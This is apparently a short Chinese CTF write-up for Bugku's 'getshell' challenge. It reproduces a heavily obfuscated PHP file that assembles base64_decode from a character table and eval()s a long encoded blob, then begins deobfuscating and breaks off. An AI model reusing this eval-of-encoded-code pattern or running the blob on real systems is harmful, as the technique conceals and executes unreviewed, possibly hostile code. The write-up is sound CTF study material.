Bugku-CTF getshell

标签：getshell Bugku szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR kcwKbSghWizY

题目：

 <?php
define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__);
$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV = $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{18} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{1} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{7} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{13};
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC.= $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{22} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{36} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{29} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{32} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{35} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
eval($BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC("JE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGI9IldBckllVEJFWFBaTlN0b3ppZ2hmcENPUlV2S0x5eFFubXdsR2NqYVZiRGtGdUpZZHNNSHF1d1dBZW1NVWhRb0NMYURma0Z4VEtsenRCWHJkT2liSEpqeU52WVNQcGNzSVpFR1JnblZxUWM5alNWd0ZvTlBKU3U1eXJsUjZTMkNzcHV5TlBJb3JMSUk1dnU5RFJVYU9wSHhmbVZSSmIwdGpQQnlvU3lFSXVzRUNQMmlidVU5MlJCNUhCMkV4b0JJVkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzR2h5enZ1NXlwM0VVTFZ4TmJ5QzNHMGFEbU5LckJWdFFTQkNKdUJJSHVIb2twSXhQQnl0aFBKMWp0QjF0dDJhNkx1dGZSbTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdmVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuMzBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZNOXpPdG90MUtBUkp5amIzUDZtMW9pdnlSQkJCb2dvSHlsTGh0YnYyeGtHM3h5THMxZEdCUEdwMjEzQkpSWlB1YW1vVUlubXN0cVFMdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbmZUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdpblYwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25ZdDlka3RsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZlVqVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnT0NWMDdFSXRzdlUxclMyeEd0aElTbUpDYkdoeGtlQmFodDNLdVJOUEhCdTVPdUJpUXRKeTFTc3RjcEJ4THBWUk1iSjlQTGhvbXYyRzlFSXlWdXN4MlNoTWNSaEtRUEhJT1AxdHR0SmlKZUJFRVJJTWZTTkVZZU5Qcm1CYXh0UHhYcGhSTG8yNVBTMUNzYkJpenROSzduVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bm14OWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQzlka3RvdDFLQVJKeWpiM1A2bTFvaXZ5UkJCQm9nb0h5bExodGJ2MnhrRzN4eUxzMWRHQlBHcDIxM0JKUlpQdWFtb1VJbm1zdHFlZk05ZGt0b3QxS0FSSnlqYjNQNm0xb2l2eVJCQkJvZ29IeWxMaHRidjJ4a0czeHlMczFkR0JQR3AyMTNCSlJaUHVhbW9VSW5tc3RxZWZJOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQTBUbWdzdjNLeUcyMW9SdUlPcFZ4TlBCeWhldTlrUk5vWm1VNXJCUHRjdFZvYlMxb210MHhIdFBLS3VOeFFtQmEzdlVFc2J1S2lCWTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmczVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnaW4zMDdFTkk1bUhJWm91OU90VXg0dHNFbVIyQ2RTVWlxTHlNMG0yeWNveXlNbzFLMkdKaUdQUEVCUDFvYXZVUENCQlJXZXN5c3YzQlpRTHRsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZkFPVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnZkNIMFpFVUV1bUpFY0cyS1h2dUlaUmhFdG91eEVvMFBRcEJpVnVzMVBlSHlCZUlNZlJOYTNiaG9KdklDZEJ5eGdMSnlzUDB0TnVCeDduWXk5ZGt0bFBzNWtiMkNxcDNJeHBIUE9CdVBETHVSSW0yMW50MUtDUGhLNVBWeGJ2M3RXUjBJMm9ITW1MMUVHcFVLS29JUlV0eXlBZWZBMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZFOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbjFUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdPQ0gwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25mTTl6MlAyR3VqREVOSTVtSElab3U5T3RVeDR0c0VtUjJDZFNVaXFMeU0wbTJ5Y295eU1vMUsyR0ppR1BQRUJQMW9hdlVQQ0JCUldlc3lzdjNCREFzS0l1czl4TElLeEJZTWpweW9ndHlva3VWTTVHMFI0dlBLR3RIRUJudWl6UG1NZ1NQb0FCSG9ZblZ0Q0J1NURCMUdPdHN5eFBCNXFCeVBMblBLTlNVRXNuQkExdUowMHpCeWd2VlB5cHlLNUJzUnVleUNocFU1a1BCb2RQQlB6bklvWmJ5eXNuQjVMQllFTnYxb1BlTjl1bll5V29QUnp0MUV1Qll0U251aml1dWlyYjFDSVJJTXhuY1BpdUo1TmV5eXVMc2F5UEppNFBjTTBTeW9HTEh0dW5VR09Hc1JycHlLV25QSUxTMngyb2NDTHAySWd1SmF4UHlFckcwb0RiMUVoQ1BFaHBITUJQVXh1TE5Vam1zUFNQbUIwQlBvV0NQdGh6bUlrUGZQbFB1S3R6QnlxUk5pc3BCb2ZMMENZZDFNS0czUHJ0MEcxUE41TlJQS2h6aHlMdHVGMEJKYXJQTmJPbXNpeHRoeGlCMmlsbkliT3BVdFNwTmlsdVlJam55eWFlSXl1UHNLUFBZSVNSTkNJUHM1UFB1dE9vdWFnUzJuZlB1OXJ0SmlBUDJhRG5KSUdic3RzdVZNYlBKNU5lUEdpQnlFTHBoeGFvUFByTEp0TmJIS3h0MEtxb0JSdUwxdFBSTnhMUEp4Mkd5eHNCMURPQ1BveG5CNVdCUFA0bTFFVnAyOXJ0eUVXRzBCaUwyVU9TSXlMdVVveFBOMXpCUHlHU055eVBodEdCWUNqUDJ0VlBKNVBQZlA1UDFQNEJJRWFwY0l4UzFFVUd5UERCMkVBb1VFdHBteXVCMXhTUE5uT3V1OXJ0UEtRR0J4U0dQQWp2TjV1cFVvdUd5eGpldUNWZVZJU3VVb09QY0lnbXlCanBOeXVMSUUyR2ZNMG1QSVpTSUN1bnNvRUdQUHpTeUVQQllJU3RKeGxvY0lsQ1BLYUNWQ3JMVTQydXlSelJJUkdQSnhZcGhGMEJKaXVMeUdmcFZvb3B5RWFHSmE0bTFDZ3R5UHRuSUFPUEJSMFAxQmpvVXlTbklveEdQb0RwMWJqbkJpc24wRWN1c1BOdnVDdUxoSUNTdWFmTHNvTFMyQ0luQmF4bkp4b0J5eE5HUHRhbXlJb3VOeEtvUFAwdUlBZnZJUnN0MW9aUFB2MWVQUlBlSU1McHVqaUd1YUx0TkVQU0lDa0xOdGxCdTA1UHlDR3V5dFlueXlYTHNQU20ySUF1SklMblZNWlBKaU5QSkVHdlZ5WXQzeGl1eXhOdnliaXBVNVBuTmlLUHN4TFJKbmpSVTF0cEp4bVBZRU5MdUlQbUpLTFBQQWl1c29EYkpiaWJZUFNwbXRmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lqbVVDTFBQS0FiczVtcGh0WFAwUHVlSVJXQ3VLUHQwRzB1dTVnbUlHam9jb3VweUVndVlJTlJ1Q2dwVTFCbklLam9JUmp0UFVPbkJ5UHBoRmZCUFByUnlvUHBjRVBuMDVhTDBDTHQxdGFTY0VoUzJ0ZHVZSVNCeW9obm1vWXBzRWZHdTF1ZU5VanpQS0JQczVydXVpTG5OQWZtc2lCdEJEMFB1aXNTSUNWcFV0b25Jb0lvSVJMdVBJR29JSXlQMUsxbVV0TXYwS0FtWW9TUDA1MFAxeHVTTkNhZWN0THBJb3JQWUNnUnl5WkJKMWtTM3hRQjJpTlBQVWpCWUVQdDN0aFBtTXNMUERqUEpJeFBKeFhQY3dpbU5iZmJzQ1N0Qm9pRzFvRXZVYW1TM01RUmYwOUFrc0t6ZjgrUWM5alNWd0ZvTlBKU3U1eXJsUlpTeW81djBFU1JIeE9tTmFOdXV0enAyb1lvMFIxR2hSVUxKRWd2VTltQkJQQUJ5UGFMMnlNU1ZLRWIyUDBCVTFpdUlSQkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzTE5FR29WdFZQdWF5dEJ0Z0JKUmpSM0N4dkpvWlB5eVhQSUNkTHVDYlJKeGNQMktsU2hLdG1JSzR0czExZXUxTW1ISXJtZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdmVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuMzBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZNOXpPdEVwMkN5YjI1aVBzYVF0SmFPcElFcVBQTUlvVTVEYmhQbW1CS2xlSjFWUnl0bmVodEt2MlJqdXl5a0JQeEFvc3QzUDN4eFFMdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbmZUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdpblYwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25ZdDlka3RRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZlVqVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnT0NWMDdFVXRZR0h5Ym1ITW9CMGExdEJDMm91YUVQeUtnbTFJTlBVMTNvMXhLcHNJSkd1OUFvVktpU1VSaEJIRW52MjFyYkpLUFJWRjlFVXlYRzJQY3BISXVMMDlOUzNFZ0JKS1BCVVBzbUp4TVJQQ0NMc0U2cEJSMlBVaTVSTnlmbzNNU3V1RXR1VXhKdFZSaGVOSTduVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bm14OWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQzlka3RFcDJDeWIyNWlQc2FRdEphT3BJRXFQUE1Jb1U1RGJoUG1tQktsZUoxVlJ5dG5laHRLdjJSanV5eWtCUHhBb3N0M1AzeHhlZk05ZGt0RXAyQ3liMjVpUHNhUXRKYU9wSUVxUFBNSW9VNURiaFBtbUJLbGVKMVZSeXRuZWh0S3YyUmp1eXlrQlB4QW9zdDNQM3h4ZWZJOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQTBUbWdzUzJDM0wyRW1vMnhoU2hLb3RoUE10MHRRUFVveExJeHRCSHRabVZ5bHBVS2piMHlhb3VLZnZzNTJ1SEliUFBvNG9zMXNwZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmczVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnaW4zMDdFVXhrdU50MHQxUFdvQlBVcElFSHZWUmZHaEVKcHlvb3AxdG1MMHlZQlZvRGIxUnFiSnk2QkJpU2VVb0NSaHlhYkI1aUxzOFpRTHRRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZkFPVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnZkNIMFpFVTlncHN0V2VzNXl2aG9xTDIxb1NVMWxMUEM0THNDMXVKb3RCSFJuUDB4VnRIQzBQdUNNcDF4dWVoRWtTQlBCQk5Jc28zTTduWXk5ZGt0UXBONVVTM0t6b2hJMlNzYWF1dXhDYnN5bWVVS2NSUEtKQlBFM21JUkF0MG9mUklQWWJ1OUdQSHlPR0p5SVBJTXhvTlJqZWZBMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZFOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbjFUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdPQ0gwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25mTTl6MlAyR3VqREVVeGt1TnQwdDFQV29CUFVwSUVIdlZSZkdoRUpweW9vcDF0bUwweVlCVm9EYjFScWJKeTZCQmlTZVVvQ1JoeWFiQjVpTHM4REFzS0lTTjFzUHM1WlBJUHJCTlBWU1Zvc3BzRGpHSjBpdUpQYVJJb0xuSUtOUDI1enZJRU5TY1BtUzJpZnV1YTB0SUdPdlZSdVMzeHRQc3hzU0pDaFBKeEJTMG9tdXNvSXpCeWdvY010bjJ4NkcxUHVuUHRJQ1BQUG5OdG1HbUlTcFBSV1JVeXhwSW9TUEJQZ1J5RE9DQkN4UFBLWEcyMXJDUGJpU054b25Vb2dHc3ZpbjJDSXZOYXlweUtMQnNCaXQxeWdMeUtrUzN4Z1BZQ3VMSW9JUlZLQnBWd09QY0NsU3lEalBIeXN0Snhjb0JQekJKRVZ2SVJTUzFBZlBtQWlDdUNQU1ZNeG5CRXpvdTFMTDF5UHBWb3RQMnh1UDBSSEN1UFp0SjV4UHV0bVBJUlNTMkNVTEoxa3Bzb1Z1UHhEU0lvcXBVNVlQUEtTUEJSemVzNVBlY0VQUHNFckJQb2xTMDFhUk41bXBJbzRtQnhsUjJDVlBtSWtuMEV6QllJTm0wMGZ1SjFvUFVFUXVtQ0xteVJHdklQQ1B1dFFQTjVycFBuZnVzUkN1SW80RzJpU0NOVWl2SUl4TFVBMVBOYU5QdVB1dVlNc1Nzb2x1c3ZpQ3MxVm1zRVluMXk1b1VQU0NKUEl2SVJRUEJvUG1QUHNlUEVxbXlJb3BKdDZQQlBnZU5QUG9OYW10VUt0R1lDWWVQeWF0Skt1dGZiNUx1SzBwTnRhdEhDZGIyblhCTnlZUkJLSVNOeWh0MUFqQllJdXZ5S1BQc1BrdHNLWkcweHNleXlHTEoxa3BJS1NHWUlMUEluanBOS1BMSUtYQm1Jc3ZQSWFwY29QUGh4eG9CUFNtSnRHcFZ0dFBtUDRCMmc0cDBLSXBWb29ueW9VR0o1TlAxbmp6QlJ4bjBLZlB1MWpQeVBJUEphQnB1eGxvSW96bXlDV0xZb2tQdWJPUHNQNEN1dFZwVktTbjBFeFAxUnJCeVJJU04xTExOdEdvQlJJcDBLSUJKS29wSml0UE41bHV5QmpSY0lMUEI0T3V5UjBMeW9ndlZDQm5Cb1ZQc0JpbjFEaVNWTWtTMG9hdVB2NUxQS0F2Vnh4dHV0R1B1NXJtdW5PbkJhdHBoTXVvVXhIcDBLSVNOMXNQczVaUElQckJOUFZTVm9zcHNEakdKMGl1SlBhUklvTG5JS05QMjV6dklFTlNjUG1TMmlmdXVhMHRJR092VlJ1UzN4dFBzeHNTSkNoUEp4QlMwb211c29JdjBLVlJOS3NuVnRLUG1Fc3AxR09wY29oUFBHaUJQUHN0UGJpQnNSb1B1eG9QUG9ybk5FV2VjUHRwaHhkRzBQekxKRWhQSElZbjBLUW9OaWplSVBOUHlSeXQxS3p1c3Y0dkIxS1MzQ3J0UEVxdXU1Z0JQdFpieUtQblZiaUJ5UHpueUtoUlVLdXBWTWZQY0lOdDFvSW5tQ1NudXhqR0phTnBQeWh6QnlTTFZNNEdCUHN1SVBaTHMxWW5ZSWRCdTFqUEp0QW8yOXJ0dXhhb0lvenB5dFBMeU15dDJ4Mm9ONXJuTkVhblBLeXBodHVCWU1TdHlSWm1ITUx0SkYxQjJhZ3YxeVdSVXR1bkhNM1BKYTRCUG9Bb05LWVAxb0RQTmFOQjFLTnRoQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWTW5iMUVJdW1FckNQUElDaFJoUHM1bm9JUHV0TnRhUEhFbVB5S3hHc0I1QnlFZ0JzNXNuSnRvR1B2MWJ5S2F0SG9tdDFBMkcxUkRMSUdpTEh5QkxVNTBCMmFydlBvR0JZdGRiMUVFdUo1dVBJRGpuQkNCbjJ4WEdZQ1NldXRWQ2h0aHVWTU9QeVBzdDFFdXZWS3hQUEVvb1BQakxKRVZMc2l0bnV0aUcwb1NtUFBOQllDb24wb2d1UEIxYnlQYUJ5RW50VUlmTHNSMFNKYmpSTnlQbkp0WFBZRWdDeVJQUFlJdFB1dElQY0lMdDF5UFNJeVBQc0RqR0phNENQSWFlVWFZdEI1ckd5UnV2dW5mTHM5c3BWTTRQQm91UDJQVnVzNVN0ZnhqTDFDV3ZVOTNRbTBrckxzN1FmND0iO2V2YWwoJz8+Jy4kQndsdHFPWWJIYVFrUlBOb3hjZm5GbXpzSWpoZE1EQVdVZUtHZ3ZpVnJKWnBMdVhFVFN5QygkaFlYbFRnQnFXQXBPYnhKdmVqUFJTZEhHUW5hdURpc2ZFTklGeW9jcmtVTHdtS01DdFZ6Wigkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUioyKSwkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiksJHZOd1RPc0tQRUFsTGNpSkRCaFd0UlNIWGVtcElyanlRVXVHb2FrbllDZEZ6cVpNeGZiZ1YoJE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGIsMCwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUikpKSk7")); ?>

思路：

发现 php 代码被混淆了，我们解混淆一下，我们可以先打印一下 $BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC 这个参数，可以发现就是 base64 解码中介这串字符

image-20241218193840-6z15if5

